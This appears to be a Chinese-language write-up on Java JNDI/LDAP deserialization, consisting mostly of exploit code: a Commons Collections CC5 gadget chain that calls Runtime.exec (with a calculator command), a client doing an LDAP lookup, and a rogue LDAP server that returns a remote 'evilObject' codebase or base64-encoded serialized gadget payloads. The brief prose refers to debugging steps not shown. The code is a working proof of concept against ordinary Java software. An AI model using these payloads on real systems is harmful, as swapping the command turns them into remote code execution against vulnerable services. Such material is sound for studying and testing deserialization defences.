import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC5 {
public static void main(String[] args) throws Exception {
byte[] o1 = getpayload();
}
static byte[] getpayload() throws Exception {
InvokerTransformer invokerTransformer2 = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
InvokerTransformer invokerTransformer1 = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null});
InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2};
Transformer keyTransformer = new ChainedTransformer(transformers);
LazyMap fistrmap = (LazyMap) LazyMap.decorate(new HashMap(),keyTransformer);
fistrmap.put("fistrmap",1111);
TiedMapEntry tiedMapEntry = new TiedMapEntry(fistrmap,"nono");
Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
Constructor<?> o = aClass.getDeclaredConstructor(Object.class);
o.setAccessible(true);
Object o1 = o.newInstance(11);
Field val = aClass.getDeclaredField("val");
val.setAccessible(true);
val.set(o1, tiedMapEntry);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o1);
oos.flush();
byte[] serializedData = bos.toByteArray();
return serializedData;
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
最后到到 readObject 进行反序列化,var0 就是序列化数据
反序列化 2#
除了上面 if 处存在反序列化,Obj#decodeObject
后面还有一处存在反序列化:
进入decodeReference
,
在低版本 jdk 中也分析过这里,包装了一个包含远程恶意类的 Reference 对象,然后 lookup 进行远程加载,这里主要是后面存在反序列化的点:
成功反序列化
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import sun.misc.BASE64Encoder;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", CC5.getpayload());
// } catch (Exception exception) {
// exception.printStackTrace();
// }
// Payload3: 返回序列化 Gadget
e.addAttribute("javaClassName", "foo");
try {
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
} catch (Exception ex) {
throw new RuntimeException(ex);
}
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
参考文献#
zjj